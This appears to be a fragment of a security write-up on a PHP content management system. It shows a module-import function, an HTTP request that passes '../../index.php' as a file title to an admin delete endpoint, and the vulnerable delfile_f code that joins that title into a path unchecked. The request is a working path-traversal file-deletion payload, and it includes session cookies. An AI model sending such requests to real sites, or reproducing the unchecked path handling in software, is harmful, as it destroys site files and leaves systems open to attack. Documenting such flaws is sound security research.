/**
 * 模块导入
 * @变量 zipfile 指定的ZIP文件地址
**/
public function import_f()
{
$zipfile = $this->get('zipfile');
if(!$zipfile){
$this->lib('form')->cssjs(array('form_type'=>'upload'));
$this->addjs('js/webuploader/admin.upload.js');
$this->view('module_import');
}
if(strpos($zipfile,'..') !== false){
$this->error(P_Lang('不支持带..上级路径'));
}
if(!file_exists($this->dir_root.$zipfile)){
$this->error(P_Lang('ZIP文件不存在'));
}
$this->lib('phpzip')->unzip($this->dir_root.$zipfile,$this->dir_root.'data/cache/');
if(!file_exists($this->dir_root.'data/cache/module.xml')){
$this->error(P_Lang('导入模块失败，请检查解压缩是否成功'));
}
$rs = $info = $this->lib('xml')->read($this->dir_root.'data/cache/module.xml',true);
if(!$rs){
$this->error(P_Lang('XML内容解析异常'));
}
$tmp = $rs;
if(isset($tmp['_fields'])){
unset($tmp['_fields']);
}

$insert_id = $this->model('module')->save($tmp);
if(!$insert_id){
$this->error(P_Lang('模块导入失败，保存模块基本信息错误'));
}
$this->model('module')->create_tbl($insert_id);
$tbl_exists = $this->model('module')->chk_tbl_exists($insert_id,$tmp['mtype']);
if(!$tbl_exists){
$this->model('module')->delete($insert_id);
$this->error(P_Lang('创建模块表失败'));
}
if(isset($rs['_fields']) && $rs['_fields']){
foreach($rs['_fields'] as $key=>$value){
if($value['ext'] && is_array($value['ext'])){
$value['ext'] = serialize($value['ext']);
}
$value['module_id'] = $insert_id;
$this->model('module')->fields_save($value);
$this->model('module')->create_fields($value['id']);
}
}
$this->lib('file')->rm($this->dir_cache.'module.xml');
$this->lib('file')->rm($this->dir_root.$zipfile);
$this->success();
}
}

GET /admin.php?c=tpl&f=delfile&id=1&folder=%2F&title=../../index.php&_=1533453756715 HTTP/1.1
Host: sb.com
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
request_type: ajax
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36
Referer: http://sb.com/admin.php?c=tpl&f=list&id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: hd_sid=aZY7Qf; hd_auth=f0c7B2JXp7hhumOhqeqELbZ5FJA3C%2FW2AKt4di3duYf1l5T%2BbkCMPFkWus2WrHfUg2Z8np8oM4VygPGWolgu; PHPSESSION=tlcm8fq4vhio5gkh5l1f5156i3
Connection: close

/**
 * 删除文件（夹）
**/
public function delfile_f()
{
if(!$this->popedom["filelist"]){
$this->error(P_Lang('您没有权限执行此操作'));
}
$id = $this->get("id","int");
if(!$id){
$this->error(P_Lang('未指定风格ID'));
}
$rs = $this->model('tpl')->get_one($id);
if(!$rs){
$this->error(P_Lang('风格信息不存在'));
}
if(!$rs["folder"]){
$this->error(P_Lang('未设置风格文件夹'));
}
$folder = $this->get("folder");
if(!$folder){
$folder = "/";
}
$title = $this->get("title");
$file = $this->dir_root."tpl/".$rs["folder"].$folder.$title;
if(!file_exists($file)){
$this->error(P_Lang('文件（夹）不存在'));
}
if(is_dir($file)){
$this->lib('file')->rm($file,"folder");
}else{
$this->lib('file')->rm($file);
}
$this->success();
}